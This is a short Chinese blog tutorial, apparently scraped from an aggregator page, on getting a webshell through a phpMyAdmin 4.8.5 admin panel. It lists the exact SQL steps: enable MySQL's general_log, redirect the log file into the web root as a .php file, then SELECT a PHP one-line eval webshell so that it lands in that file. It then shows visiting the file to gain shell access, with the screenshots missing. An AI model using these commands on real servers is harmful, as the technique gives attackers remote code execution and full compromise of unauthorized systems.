当前位置： 首页 > article >正文

【getshell】phpmyadmin后台getshell（4.8.5）

article 2024/9/23 13:21:01

🏘️个人主页： 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦

【getshell】phpmyadmin后台getshell（4.8.5）

  • 一、进入sql命令输入界面
  • 二、上传代码
  • 三、getshell

一、进入sql命令输入界面

在这里插入图片描述

二、上传代码

  1. 开启日志
set global general_log='on';

在这里插入图片描述

  1. 改变日志存储位置
    (根据实际情况更改路径，我的小皮路径是在D盘)
set global general_log_file ="D:/phpstudy_pro/WWW/she.php";

在这里插入图片描述
在这里插入图片描述

  1. 往日志文件里写入一句话木马
select '<?php @eval($_POST[cmd]);?>';

在这里插入图片描述

  1. 访问一下
    在这里插入图片描述

三、getshell

在这里插入图片描述


http://www.kler.cn/news/304748.html

相关文章：

  • springboot+security为什么@ControllerAdvice自定义的异常处理没有生效
  • 怎么去浮毛比较高效？热门除浮毛宠物空气净化器希喂、范罗士、有哈测评推荐
  • Linux与Ubuntu：内核与发行版的关系
  • MinGW-w64全面讲解：Windows平台的C/C++编译利器
  • Qt控制开发板的LED
  • openCV的python频率域滤波
  • 唯品会大数据面试题及参考答案（3万字长文）
  • C到C++入门基础知识
  • Linux环境基础开发工具---yum
  • Numpy 单位矩阵创建 eye()函数详解
  • 如何管理付费媒体预算：分配、风险与扩展
  • 企业数字化转型建设方案（数据中台、业务中台、AI中台）（可编辑的188页WORD）
  • 助力汽车半导体产业发展，2025 广州国际新能源汽车功率半导体技术展览会与您相约“羊城”广州
  • pm2 进程守护python flask
  • 《订单来了2024中秋预订趋势报告》发布：截至9月13日，商家中秋预订率上涨42.73%，山西文化巡礼成顶流
  • 2024年8月HarmonyOS鸿蒙应用开发者高级认证全新题库
  • JavaScript --函数的作用域（全局和局部）
  • Java面试篇基础部分-垃圾回收算法
  • 科研定制化无人机硬件技术详解
  • Leetcode面试经典150题-141.环形链表
  • CSP-J 算法基础 深度优先搜索
  • 如何通过 Apache Camel 将数据导入 Elasticsearch
  • cityengine修改纹理创建模型
  • 速通sass基础语法
  • OpenHarmony（鸿蒙南向开发）——标准系统移植指南（二）Linux内核
  • samba提速
  • roctracer 的应用示例
  • 6- 【JavaWeb】Maven管理项目
  • html+css+js网页设计 旅游 厦门旅游网11个页面
  • K8s利用etcd定时备份集群结合钉钉机器人通知